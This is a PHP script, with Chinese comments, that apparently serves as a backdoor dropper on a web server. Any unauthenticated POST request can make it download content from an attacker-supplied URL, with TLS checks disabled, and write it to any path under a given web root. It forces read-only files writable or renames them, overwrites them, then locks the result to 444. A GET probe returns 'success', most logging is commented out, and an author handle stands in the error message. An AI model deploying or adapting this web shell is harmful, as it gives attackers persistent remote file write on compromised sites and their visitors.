<?php
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if($_GET['test']==1) {
    echo 'success';die();
    }
}
// 设置响应头
header('Content-Type: application/json; charset=utf-8');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

// 处理OPTIONS请求
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit();
}

// 只接受POST请求
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    echo json_encode([
        'status' => 'error',
        'message' => '@oohzhoo1'
    ], JSON_UNESCAPED_UNICODE);
    exit();
}

// 获取POST数据
$input = file_get_contents('php://input');
$data = json_decode($input, true);

// 验证必要参数
if (!$data || !isset($data['webroot']) || !isset($data['filename']) || !isset($data['txt_url'])) {
    echo json_encode([
        'status' => 'error',
        'message' => '缺少必要参数: webroot, filename, txt_url'
    ], JSON_UNESCAPED_UNICODE);
    exit();
}

$webroot = rtrim(trim($data['webroot']), '/');
$filename = trim($data['filename']);
$txtUrl = trim($data['txt_url']);
$fullPath = $webroot . '/' . $filename;

// 记录日志函数
function logMessage($message) {
    $logDir = __DIR__ . '/logs';
    if (!is_dir($logDir)) {
        mkdir($logDir, 0755, true);
    }
    $logFile = $logDir . '/update_' . date('Y-m-d') . '.log';
    $timestamp = date('Y-m-d H:i:s');
    file_put_contents($logFile, "[$timestamp] $message\n", FILE_APPEND);
}

logMessage("开始处理还原请求: webroot={$webroot}, filename={$filename}, txt_url={$txtUrl}");

// 1. 获取txt文件内容
$txtContent = getRemoteContent($txtUrl);
if ($txtContent === false) {
    //logMessage("错误: 无法获取txt文件内容 - {$txtUrl}");
    echo json_encode([
        'status' => 'error',
        'message' => "无法获取txt文件内容: {$txtUrl}"
    ], JSON_UNESCAPED_UNICODE);
    exit();
}

logMessage("成功获取txt文件内容，长度: " . strlen($txtContent));

// 2. 检查webroot目录是否存在
if (!is_dir($webroot)) {
    //logMessage("错误: webroot目录不存在 - {$webroot}");
    echo json_encode([
        'status' => 'error',
        'message' => "网站根目录不存在: {$webroot}"
    ], JSON_UNESCAPED_UNICODE);
    exit();
}

// 3. 检查目录是否可写
if (!is_writable($webroot)) {
    //logMessage("错误: 目录不可写 - {$webroot}");
    echo json_encode([
        'status' => 'error',
        'message' => "目录不可写，无法创建或更新文件: {$webroot}"
    ], JSON_UNESCAPED_UNICODE);
    exit();
}

// 4. 处理文件
$fileExists = file_exists($fullPath);
$action = '';
$writeSuccess = false;

if ($fileExists) {
    // 文件存在，检查权限
    $currentPerm = fileperms($fullPath) & 0777;
    //logMessage("文件存在: {$fullPath}, 当前权限: " . decoct($currentPerm));
    
    // 如果是444权限，先改成644
    if ($currentPerm === 0444 || $currentPerm === 444 || $currentPerm === 0555 || $currentPerm === 555 ) {
        if (!chmod($fullPath, 0644)) {
            //logMessage("错误: 无法修改文件权限为644 - {$fullPath}");
            echo json_encode([
                'status' => 'error',
                'message' => "文件存在但权限为只读(".$currentPerm.")，且无法修改权限: {$filename}"
            ], JSON_UNESCAPED_UNICODE);
            exit();
        }
        //logMessage("已修改文件权限: 444 -> 644");
    }
    
    // 检查是否可写
    if (!is_writable($fullPath)) {
        // 尝试重命名文件
        $backupFile = $fullPath . '_backup_' . date('Ymd_His') . '_' . mt_rand(1000, 9999);
        if (!rename($fullPath, $backupFile)) {
            //logMessage("错误: 无法重命名文件 - {$fullPath}");
            echo json_encode([
                'status' => 'error',
                'message' => "文件存在但无法写入，且无法重命名: {$filename}"
            ], JSON_UNESCAPED_UNICODE);
            exit();
        }
        //logMessage("已重命名原文件: {$fullPath} -> {$backupFile}");
        
        // 创建新文件
        $writeResult = file_put_contents($fullPath, $txtContent);
        if ($writeResult === false) {
            //logMessage("错误: 创建新文件失败 - {$fullPath}");
            // 尝试恢复原文件
            rename($backupFile, $fullPath);
            echo json_encode([
                'status' => 'error',
                'message' => "重命名后创建新文件失败: {$filename}"
            ], JSON_UNESCAPED_UNICODE);
            exit();
        }
        $action = 'rename_and_create';
        $writeSuccess = true;
        //logMessage("重命名原文件后创建新文件成功");
    } else {
        // 直接写入
        $writeResult = file_put_contents($fullPath, $txtContent);
        if ($writeResult === false) {
            logMessage("错误: 更新文件失败 - {$fullPath}");
            echo json_encode([
                'status' => 'error',
                'message' => "更新文件失败: {$filename}"
            ], JSON_UNESCAPED_UNICODE);
            exit();
        }
        $action = 'update';
        $writeSuccess = true;
        //logMessage("更新文件成功");
    }
} else {
    // 文件不存在，直接创建
    $writeResult = file_put_contents($fullPath, $txtContent);
    if ($writeResult === false) {
        //logMessage("错误: 创建文件失败 - {$fullPath}");
        echo json_encode([
            'status' => 'error',
            'message' => "创建文件失败: {$filename}"
        ], JSON_UNESCAPED_UNICODE);
        exit();
    }
    $action = 'create';
    $writeSuccess = true;
    //logMessage("创建文件成功");
}

// 5. 设置文件权限为444
if ($writeSuccess) {
    if (!chmod($fullPath, 0444)) {
        //logMessage("警告: 无法设置文件权限为444 - {$fullPath}");
    } else {
       //logMessage("已设置文件权限为444: {$fullPath}");
    }
}

// 6. 返回成功结果
echo json_encode([
    'status' => 'success',
    'message' => $action === 'create' ? "创建文件成功: {$filename}" : 
                ($action === 'update' ? "更新文件成功: {$filename}" : 
                "原文件已备份并创建新文件: {$filename}"),
    'data' => [
        'path' => $fullPath,
        'action' => $action,
        'size' => $writeResult
    ]
], JSON_UNESCAPED_UNICODE);

/**
 * 获取远程内容
 * @param string $url
 * @return string|false
 */
function getRemoteContent($url)
{
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    ]);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($httpCode === 200 && $response !== false) {
        return $response;
    }
    
    return false;
}
?>